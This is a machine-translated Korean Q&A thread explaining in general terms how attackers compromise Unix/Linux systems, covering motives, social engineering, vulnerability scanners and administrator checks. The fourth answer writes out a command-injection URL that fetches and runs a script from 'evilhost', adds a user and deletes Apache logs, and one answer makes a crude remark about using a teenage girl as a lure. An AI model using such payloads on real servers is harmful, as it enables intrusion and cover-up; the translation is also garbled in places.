사람들은 Unix/Linux 시스템을 어떻게 "해킹"합니까?

사람들은 Unix/Linux 시스템을 어떻게 "해킹"합니까?

아니요, 저는 크래커나 그와 유사한 사람이 되고 싶지 않지만 프로세스를 파악하려고 노력하고 있습니다(프로그래밍 관점에서 더 자세히).

따라서 크래커의 주요 목표는 자신이 작성한 소프트웨어(또는 스크립트)를 설치하기 위해 루트 액세스 권한을 얻는 것이라고 가정합니다(추측). 아니면 자체 커널 모듈을 설치할 수도 있습니다(이유가 무엇이든 의심스럽습니다). 도대체 어떻게 해야 할까요?

사람들이 취약점을 확인하기 위해 스크립트를 사용한다는 것은 알지만... 방법도 모르고 일단 발견하면 어떻게 하는지도 모르겠습니다. 알려진 취약점이 있는지 버전을 확인하고... 그런 다음 취약점을 찾으면...

나는 이것이 모두 매우 새로운 것처럼 들린다는 것을 알고 있습니다. 하지만 Linux/Unix 시스템은 매우 안전해야 한다는 것을 알고 있기 때문에 이것이 어떻게 작동하는지 이해하고 싶지만 누군가 루트 액세스 권한을 얻을 수 있는 방법도 알고 싶습니다.

답변1

사람들이 시스템 보안을 손상시키려고 하는 데에는 셀 수 없이 많은 이유가 있습니다. 일반적으로:

  • 시스템 리소스 사용(예: 스팸 전송, 트래픽 릴레이)
  • 시스템 정보를 얻습니다(예: 전자상거래 웹사이트에서 고객 데이터 가져오기).
  • 시스템 정보 변경(웹사이트 훼손, 허위정보 심기, 정보 삭제 등)

때로는 이러한 작업에 루트 액세스가 필요한 경우도 있습니다. 예를 들어, 사용자 입력을 적절하게 삭제하지 않는 웹사이트에 잘못된 형식의 검색어를 입력하면 해당 웹사이트의 데이터베이스에 있는 사용자 이름/비밀번호, 이메일 주소 등과 같은 정보가 공개될 수 있습니다.

많은 컴퓨터 범죄자는 단순히 "스크립트 키디"입니다. 즉, 실제로 시스템 보안을 이해하지 못하고 코드도 작성하지 않지만 다른 사람이 작성한 공격을 실행하는 사람들입니다. 이는 일반적으로 적응성이 없기 때문에 방어하기 쉽습니다. 알려진 취약점을 악용하는 데만 국한됩니다. (다수의 감염된 컴퓨터인 봇넷을 악용할 수도 있지만 이는 DDoS 공격의 위험을 의미할 수 있습니다.)

숙련된 공격자의 경우 프로세스는 다음과 같습니다.

  1. 목표가 무엇인지, 목표의 가치가 무엇인지 파악하십시오. 보안(유지 또는 손상)은 위험/보상 계산입니다. 더 위험하고 비용이 많이 들수록 공격이 가치가 있으려면 보상이 더 매력적이어야 합니다.

  2. 목표에 영향을 미치는 모든 움직이는 부분을 고려하십시오. 예를 들어 스팸을 보내려는 경우할 수 있다메일 서버를 공격하는 것이 더 합리적일 수 있지만 실제로 필요한 것은 대상의 네트워크 연결에 대한 액세스이기 때문에 다른 네트워크 연결 서비스입니다. 사용자 데이터가 필요한 경우 먼저 데이터베이스 서버, 이에 액세스할 수 있는 웹 애플리케이션 및 웹 서버, 이를 백업하는 시스템 등을 살펴보겠습니다.

    안 돼요인적 요소를 무시하십시오. 컴퓨터 시스템을 보호하는 것은 인간 행동을 보호하는 것보다 훨씬 쉽습니다. 누군가가 해서는 안 되는 정보를 공개하게 하거나, 해서는 안 되는 코드를 실행하게 하는 것은 간단하면서도 효과적입니다. 대학에서 나는 친구의 보안이 철저한 기업 네트워크에 침입하여 음란한 부사장을 만났다고 내기를 걸었습니다. 내 친구의 기술 전문성은 저보다 훨씬 뛰어났지만아무것도 없다짧은 치마를 입은 17세 소년소녀보다 더 강력하다!

    가슴이 부족하다면, 진정한 목적을 고려하지 않고 무의미한 게임이나 일부 바보가 재미로 다운로드할 만한 것을 제공하는 것을 고려해보세요.

  3. 식별한 각 부분을 살펴보고 원하는 기능을 달성하기 위해 무엇을 할 수 있는지, 어떻게 조정할 수 있는지 생각해 보세요. 어쩌면 헬프 데스크에서 발신자를 제대로 식별하지 않고 사용자에게 전화를 걸어 듣지 않고 자주 사용자의 비밀번호를 재설정하는 경우가 있을 수 있습니다. 혼란스러워 보입니다. 다른 사람의 비밀번호를 알려주려고 합니다. 어쩌면 웹 앱은 실행되는 함수에 붙여넣기 전에 검색 상자에 입력된 내용이 코드가 아닌지 확인하지 않을 수도 있습니다. 보안 침해는 의도적으로 노출되어서는 안되는 방식으로 동작할 수 있는 것에서 시작되는 경우가 많습니다.

답변2

가장 큰 요인은 공격자가 갖고 있는 액세스 유형입니다. 그들이 물리적으로 접근할 수 있다면 당신은 망할 것입니다. 관심 있는 것이 원격 액세스뿐이라면 실행 중인 항목에 따라 달라지며 좋은 구성이 전부입니다. 표준 Linux 서버는 ftp, ssh, http, https 및 mysql을 실행할 수 있습니다. SSH는 안전하지만 루트 로그인을 허용하지 않으며 모든 계정에는 올바른 비밀번호가 있어야 합니다. FTP가 적중했거나 실패했습니다. VSFTP가 있고 사용자를 chroot하는 경우 매우 안전합니다. 다른 여러 버전에도 알려진 취약점이 있습니다. HTTP는 아마도 가장 취약한 영역일 것입니다. 주요 관심사는 시스템에서 파일을 수행하거나 시스템에 파일을 업로드하는 작업입니다. 웹사이트가 PHP5로 구축된 경우 SQL 주입은 매우 어렵습니다. 보안 학생 그룹과 저는 몇 주 동안 정리되지 않은 PHP5 웹 사이트에 SQL 주입을 시도했지만 성공하지 못했습니다. MySQL을 사용하는 경우 루트가 아닌 사용자를 사용하고 로그인을 Apache 서버로만 제한하십시오.

웹사이트 취약점을 테스트할 수 있는 Firefox 추가 기능은 여러 가지가 있습니다. access me, xss me, sql Inject me

안전을 유지하기 위해 경주 중에 항상 하는 몇 가지 중요한 일이 있습니다.

  • netstat- 열려있는 포트와 연결을 확인하세요.
  • w- 누가 로그인했는지, 얼마나 오랫동안 로그인했는지,
  • 로그인 로그를 확인하고,
  • 실행된 명령의 bash 기록,
  • ps- 명령을 실행합니다.
  • /etc/passwd 추가 사용자를 위해
  • /etc/sudoerssudo 액세스에 사용됩니다.

일반적으로 공격자는 액세스 권한을 얻은 후 루트 권한을 얻으려고 합니다. 현재 일반 사용자가 루트 권한을 얻을 수 있는 몇 가지 권한 상승 취약점이 있습니다. 그 후 그들은 사용자를 추가하고 백도어를 열어 향후 액세스를 위해 이를 열기를 희망합니다.

이것은 우리 학교의 사이버 방어 웹사이트입니다. 자유롭게 둘러보시고 몇 가지 질문을 해보세요.https://thislink.doesntexist.org/

답변3

시스템의 보안은 관리자의 실력에 달려 있기 때문에 "Linux/Unix 시스템은 매우 안전해야 한다"라고 말하는 것은 잘못된 것입니다 :)

이제 해킹에 대해 알아보겠습니다. "라는 도구가 있습니다.취약점 스캐너" 좋다나서스악용할 수 있는 것을 찾으세요. 임의의 파일을 어느 위치에나 업로드할 수 있도록 허용하는 잘못 구성된 Apache 서버와 같이 복잡한 시스템에서는 수천 가지 문제가 발생할 수 있습니다. 이는 "비밀번호 찾기" 기능을 통해 비밀번호를 복구할 수 있는 데이터베이스나 이메일 계정에 액세스하는 등 추가 공격을 위한 디딤돌 역할을 할 수 있습니다.

때로는 해커가 접속 권한을 얻어 사악한 짓을 하려고 하는 경우도 있습니다. 때때로 사람들은 재미로 그것을 합니다(그런데 그것은 어리석은 일입니다).

그리고, 이것은이야기최근 유명한 해커 공격. 보안에 관심이 있는 모든 사람에게 이 내용이 큰 도움이 될 것이라고 생각합니다! 익스플로잇 요약 인용:

SQL 주입 결함과 안전하지 않은 비밀번호가 있는 웹 애플리케이션. 잘못된 비밀번호를 선택하세요. 재사용된 비밀번호. 비밀번호 기반 인증을 허용하는 서버입니다. 패치되지 않은 시스템. 자격 증명을 요청받은 사람이 뭔가 잘못되었음을 깨달았어야 했는데도 그들이 이메일을 통해 자격 증명을 기꺼이 제공했다는 것은 놀라운 일입니다.

답변4

공격 벡터의 수는 거의 무제한입니다. 개념적으로 가장 간단한 접근 방식 중 하나는 프로그램을 노출하고 해당 프로그램이 실제로 수행하는 것과 다른 작업을 수행한다고 말하는 것입니다. 처음부터 사용자에게 친숙한 지침을 제공 sudo하고 세상이 번영하는 것을 지켜보세요. 이는 폐쇄 소스 프로그램에서 매일 발생합니다. 왜냐하면 그것이 어떻게 작동하는지 미리 확인하는 것이 불가능하기 때문입니다.소니 CD.

원격 호스트에 특수 문자열을 보낼 수도 있습니다. 높은 수준의 예로, 일부 소프트웨어가 실행되고 있는 웹 서버가 있다고 가정해 보겠습니다.URL의 일부를 명령으로 실행도망칠 필요도 없고 해를 끼치지 않는지 확인할 필요도 없습니다. 그런 것을 보내세요 http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. 디코딩 후 검색 문자열은 다음과 같습니다. 실행되면 script.sh는 웹 서버 사용자와 동일한 액세스 권한으로 실행되어 컴퓨터에서 모든 작업을 수행합니다. 때때로 사람들은 이러한 기능을 "편의성"의 원천으로 사용하는데, 이 경우 이는 게으름 및/또는 무지와 동의어입니다. 루트로 실행되지 않더라도 스크립트는 설치된 소프트웨어의 다른 취약점에 대해 수천 번의 테스트를 실행하고 취약점이 발견되면 다른 명령을 실행할 수 있습니다. 예를 들어 마지막 명령은 SSH 액세스 권한을 얻고 손상 흔적을 제거하는 것일 수 있습니다.foo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.log

[명령은 분명히 단순화되어 어쨌든 작동하지 않을 것입니다. YMMV]

관련 정보